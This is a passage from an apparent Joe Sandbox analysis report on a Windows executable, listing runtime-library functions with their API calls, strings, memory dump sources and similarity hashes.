Instruction Fuzzy Hash: 10F04F61A0DB0691EB10AB25E4447BAD760FF89771FE41235C56E461E4EF6CD08DC730

Function 00007FF78D2A91A0 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF78D2A91C8
_set_statfp.LIBCMT ref: 00007FF78D2A91E3
_set_statfp.LIBCMT ref: 00007FF78D2A91FF
_set_statfp.LIBCMT ref: 00007FF78D2A923B

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: cf51ba88861369f4b81caab85a00dbe448fd7ea8466a229dd61d7c81d8c3348c
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction Fuzzy Hash: E8113D26E5CA0311FA64316BE5463F5E041FF99370EE40634E96E062D6FE6CA849C124

Function 00007FF78D29AEB0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF78D29A0C7,?,?,00000000,00007FF78D29A362,?,?,?,?,?,00007FF78D29272C), ref: 00007FF78D29AECF
FlsSetValue.KERNEL32(?,?,?,00007FF78D29A0C7,?,?,00000000,00007FF78D29A362,?,?,?,?,?,00007FF78D29272C), ref: 00007FF78D29AEEE
FlsSetValue.KERNEL32(?,?,?,00007FF78D29A0C7,?,?,00000000,00007FF78D29A362,?,?,?,?,?,00007FF78D29272C), ref: 00007FF78D29AF16
FlsSetValue.KERNEL32(?,?,?,00007FF78D29A0C7,?,?,00000000,00007FF78D29A362,?,?,?,?,?,00007FF78D29272C), ref: 00007FF78D29AF27
FlsSetValue.KERNEL32(?,?,?,00007FF78D29A0C7,?,?,00000000,00007FF78D29A362,?,?,?,?,?,00007FF78D29272C), ref: 00007FF78D29AF38

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 121a47ef518189cd7ca2d19fce10823dd148344e49d87af90465f3f40c8a3707
Instruction ID: 794b4b65449d4b4e05338ac7657620cf0af8259dceff59f0cf8ba9a6af61f077
Opcode Fuzzy Hash: 121a47ef518189cd7ca2d19fce10823dd148344e49d87af90465f3f40c8a3707
Instruction Fuzzy Hash: 65116D70A0D34261FA58B32655419F9A1837F847A0FB852B5F83E076DAFE6CA819C621

Function 00007FF78D29AD44 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF78D29AD55
FlsSetValue.KERNEL32 ref: 00007FF78D29AD74
FlsSetValue.KERNEL32 ref: 00007FF78D29AD9C
FlsSetValue.KERNEL32 ref: 00007FF78D29ADAD
FlsSetValue.KERNEL32 ref: 00007FF78D29ADBE

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 0dcdcefbf9ee5b107ce9965cb7ad50920b35f969ad298ee1694fd8acf805ac08
Instruction ID: bfa1488ab6606e4a8a24fd5b8ef5826336ce948d5a4f24e5779aa289a4e7387b
Opcode Fuzzy Hash: 0dcdcefbf9ee5b107ce9965cb7ad50920b35f969ad298ee1694fd8acf805ac08
Instruction Fuzzy Hash: D6112A70A0D30361FA68722644519F9A1437F84370FF817B5E93E0A2D2FD6DB819C2B1

Function 00007FF78D295A14 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D295A50
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D295B7A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D295C30

Strings

verbose, xrefs: 00007FF78D295A24

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 949f789820f60b9edc3b3d9021f3b8c6b6af15b8acf6f547bb3703cfae1424d0
Instruction ID: f602071be38efa616de4b602c7534096f6a28403c57002a459257469f9545fc7
Opcode Fuzzy Hash: 949f789820f60b9edc3b3d9021f3b8c6b6af15b8acf6f547bb3703cfae1424d0
Instruction Fuzzy Hash: 4791B162B0CA4665F721AE29D460BBDB792BB40B54FE44136DA5D473D5EF3CE80AC320

Function 00007FF78D29FB08 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D29FDE7

Part of subcall function 00007FF78D2A5F24: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A5F41

Strings

UTF-16LEUNICODE, xrefs: 00007FF78D29FD85
ccs, xrefs: 00007FF78D29FD22
UTF-8, xrefs: 00007FF78D29FD66

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 933f9e5643eca711a058025fb3c3dae891d39fd969bd1be7b38ac3d9f54542c3
Instruction ID: b9f91f15a379234733ad85d19c65b426e0f5e474aed9f4e28a8be8345c1b366a
Opcode Fuzzy Hash: 933f9e5643eca711a058025fb3c3dae891d39fd969bd1be7b38ac3d9f54542c3
Instruction Fuzzy Hash: 3681C372D0C263A5F7E4AE258150AF8B6A2BF11748FF58031CE0D97695EF2DE40AD231

Function 00007FF78D28CDE0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF78D28CE0B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF78D28CEA2
RtlUnwindEx.KERNEL32 ref: 00007FF78D28CEFC

Strings

csm, xrefs: 00007FF78D28CE89

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 22f0fb643b946c0ebe358f830807d63bc23e19fb123f3b439f954d9d8b58c163
Instruction ID: ad36ec3b01c30507611b8b09126b852e822c0c7f5c8d2658dedbdf18a8197bc7
Opcode Fuzzy Hash: 22f0fb643b946c0ebe358f830807d63bc23e19fb123f3b439f954d9d8b58c163
Instruction Fuzzy Hash: 92519632B1D6028AEB14FB15D4446B8B791FB64B94FA08132EA4E87788FF7CE449D710

Function 00007FF78D28E678 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF78D28E6D7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF78D28E723

Strings

RCC, xrefs: 00007FF78D28E6F3
MOC, xrefs: 00007FF78D28E6EB

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 2a34f6f994e8096566aef7ae2f438584f65842a38e2d3928d5cb3448c883d458
Instruction ID: 14c8a92eab9b1b61a32c01ab062093cd2008a584ee40f0bfd790121a36f27fa8
Opcode Fuzzy Hash: 2a34f6f994e8096566aef7ae2f438584f65842a38e2d3928d5cb3448c883d458
Instruction Fuzzy Hash: C3618F3290CB8585E660AB15E4403EEB7A0FB85B94F544225EB9C43B95EF7DD098CB10

Function 00007FF78D28EA28 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF78D28EA50
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF78D28EB38

Strings

csm, xrefs: 00007FF78D28EA72
csm, xrefs: 00007FF78D28EB8A

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 139e56fecf91c83596e23b6791299ae9a7d15d395d54f3a105b401d31b22ee8b
Instruction ID: 117ab71ee182186133dec89ab2fdeb477eb8797cad9588187a01db4a04f06024
Opcode Fuzzy Hash: 139e56fecf91c83596e23b6791299ae9a7d15d395d54f3a105b401d31b22ee8b
Instruction Fuzzy Hash: 5A51B23290C3828AEB74AF1590443B8B7A0FB55B94FA84135DA5D87BC5DF3EE459C720

Function 00007FF78D282830 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78D288AC0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288AFC

MessageBoxW.USER32 ref: 00007FF78D28293D
MessageBoxA.USER32 ref: 00007FF78D282959

Strings

Fatal error detected, xrefs: 00007FF78D282911, 00007FF78D28294B
%s%s: %s, xrefs: 00007FF78D2828B6

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 2959d8236bd5d2b2be6068a2456dffe4fafe91245c6138a46de4b80db7319a21
Instruction ID: 592d42fc88e8be34c8a17001a1ec22a32f5f1643e3bcd592546a217838335550
Opcode Fuzzy Hash: 2959d8236bd5d2b2be6068a2456dffe4fafe91245c6138a46de4b80db7319a21
Instruction Fuzzy Hash: E631437262C68291E630FB11E4516EAE365FF847C4FD04136EA8D47A99EF3CD209CB60

Function 00007FF78D283E70 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF78D28399A), ref: 00007FF78D283EA1

Part of subcall function 00007FF78D282980: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF78D2887D2,?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D2829B4
Part of subcall function 00007FF78D282980: MessageBoxW.USER32 ref: 00007FF78D282A92

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF78D283EDA
GetModuleFileNameW, xrefs: 00007FF78D283EB2
Failed to get executable path., xrefs: 00007FF78D283EAB

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 24645819b360b94caec3277b3b346a1fdf71413856e9e17ab780bae079e41645
Instruction ID: 7e7d9f7f4effc34446a709de3d65907a36274313f3cb696f4f671197dd1254bb
Opcode Fuzzy Hash: 24645819b360b94caec3277b3b346a1fdf71413856e9e17ab780bae079e41645
Instruction Fuzzy Hash: 75018B21B1C78294FA61B721E8153FA92A1FF5C784FE00036D84EC6296FE2DE10DC720

Function 00007FF78D29C0C0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF78D29C13F
WriteFile.KERNEL32 ref: 00007FF78D29C407
WriteFile.KERNEL32 ref: 00007FF78D29C44D
GetLastError.KERNEL32 ref: 00007FF78D29C503

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 2abff7ef0619a19b3f8639ae6002206128f8ae09499332f1ce2aafb0169717a7
Instruction ID: f3860a61078064cfe2734da566221a6d9c132514c7c0a6e6374030f8644778df
Opcode Fuzzy Hash: 2abff7ef0619a19b3f8639ae6002206128f8ae09499332f1ce2aafb0169717a7
Instruction Fuzzy Hash: E4D10572B0CA8199E710EF65D4406EC77B2FB447A8BA44235CF5DA7B99EE38D40AC350

Function 00007FF78D294D14 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF78D294D47
GetFileInformationByHandle.KERNEL32 ref: 00007FF78D294DA9
GetLastError.KERNEL32 ref: 00007FF78D294E3A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF78D294C4C), ref: 00007FF78D294E86

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 619051adbee2757f1b0eaae31a2a0d9ba8105fe4e1f024d6fef815fedd073e2f
Instruction ID: eca06d02aeb48682624f2f68ddaade34fee66e5f37cd2fe0c3e43f72396292f6
Opcode Fuzzy Hash: 619051adbee2757f1b0eaae31a2a0d9ba8105fe4e1f024d6fef815fedd073e2f
Instruction Fuzzy Hash: 88519C22A1C2419AFB10EF71D4507FDA3A2BB48B58FA04139DA5947688EF38D44AC324

Function 00007FF78D2822D0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF78D282304
SetWindowLongPtrW.USER32 ref: 00007FF78D282326
GetWindowLongPtrW.USER32 ref: 00007FF78D282350
InvalidateRect.USER32 ref: 00007FF78D282370

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 9a513bfeea4d23231446761ead26a261710cbf7723e16bcd488a2efbfd14a635
Instruction ID: 41ced78094adbee21506e3dfa57ab2b2e5de87befc0b7cd4d415dbee034a0ff8
Opcode Fuzzy Hash: 9a513bfeea4d23231446761ead26a261710cbf7723e16bcd488a2efbfd14a635
Instruction Fuzzy Hash: D3110C21E1C14242F754BB6AF5542F99292FF85B91FE48030EE494BB9DED3CD4C9C220

Function 00007FF78D2A57EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78D2A1330: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A1363

_get_daylight.LIBCMT ref: 00007FF78D2A5904
_get_daylight.LIBCMT ref: 00007FF78D2A5915

Strings

?, xrefs: 00007FF78D2A5895

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 1f5fa514bff2f4607babf6397603fb8ee35f14d984b1e59d2a9511e06fc473ce
Instruction ID: d754048aa364bb16276d54e4cfde1bfe29abd9b128a50005d16ccaece96a682b
Opcode Fuzzy Hash: 1f5fa514bff2f4607babf6397603fb8ee35f14d984b1e59d2a9511e06fc473ce
Instruction Fuzzy Hash: 1041F812A1C28256F764AB2A94057FAE662FB807B4FA44235EE5C0AAD5FE3CD485C710

Function 00007FF78D298B04 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D298B36

Part of subcall function 00007FF78D29A46C: RtlFreeHeap.NTDLL(?,?,?,00007FF78D2A28F2,?,?,?,00007FF78D2A292F,?,?,00000000,00007FF78D2A2DF5,?,?,00000000,00007FF78D2A2D27), ref: 00007FF78D29A482
Part of subcall function 00007FF78D29A46C: GetLastError.KERNEL32(?,?,?,00007FF78D2A28F2,?,?,?,00007FF78D2A292F,?,?,00000000,00007FF78D2A2DF5,?,?,00000000,00007FF78D2A2D27), ref: 00007FF78D29A48C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF78D28C075), ref: 00007FF78D298B54

Strings

C:\Users\user\Desktop\file.exe, xrefs: 00007FF78D298B42

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\file.exe
API String ID: 3580290477-1957095476
Opcode ID: ce56059d6aecc5a3b06312cf66ab9915bf3f6f219c0ed9b897b7c5f5f1bb6f15
Instruction ID: d74197cc68ca391e8901fc8deb31304f09df360787159c84f7d23b70623d987b
Opcode Fuzzy Hash: ce56059d6aecc5a3b06312cf66ab9915bf3f6f219c0ed9b897b7c5f5f1bb6f15
Instruction Fuzzy Hash: 5A41A572A0DB1295EB58FF2595408F8E795FF447E0BA84036E94E43B85EE3DD889C360

Function 00007FF78D29C758 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF78D29C86F
GetLastError.KERNEL32 ref: 00007FF78D29C891

Strings

U, xrefs: 00007FF78D29C81B

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 254d673ae57cd5174c7d1219303305114200665ca3d2f422ee82e5aaf8ff8181
Instruction ID: ee6ab6af81dbcae33f6a2fa7fbde292e343a340be1917e1ec4d89e0259c578ba
Opcode Fuzzy Hash: 254d673ae57cd5174c7d1219303305114200665ca3d2f422ee82e5aaf8ff8181
Instruction Fuzzy Hash: BA41D222B1CA4191EB20AF25E4447E9B761FB88B94FA04031EE4D87B98EF3CD405D710

Function 00007FF78D29EE78 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF78D29EEB8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF78D29EF0A

Strings

:, xrefs: 00007FF78D29EECE

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
